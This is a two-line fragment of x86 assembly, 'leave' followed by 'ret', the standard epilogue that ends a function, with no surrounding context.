leave
ret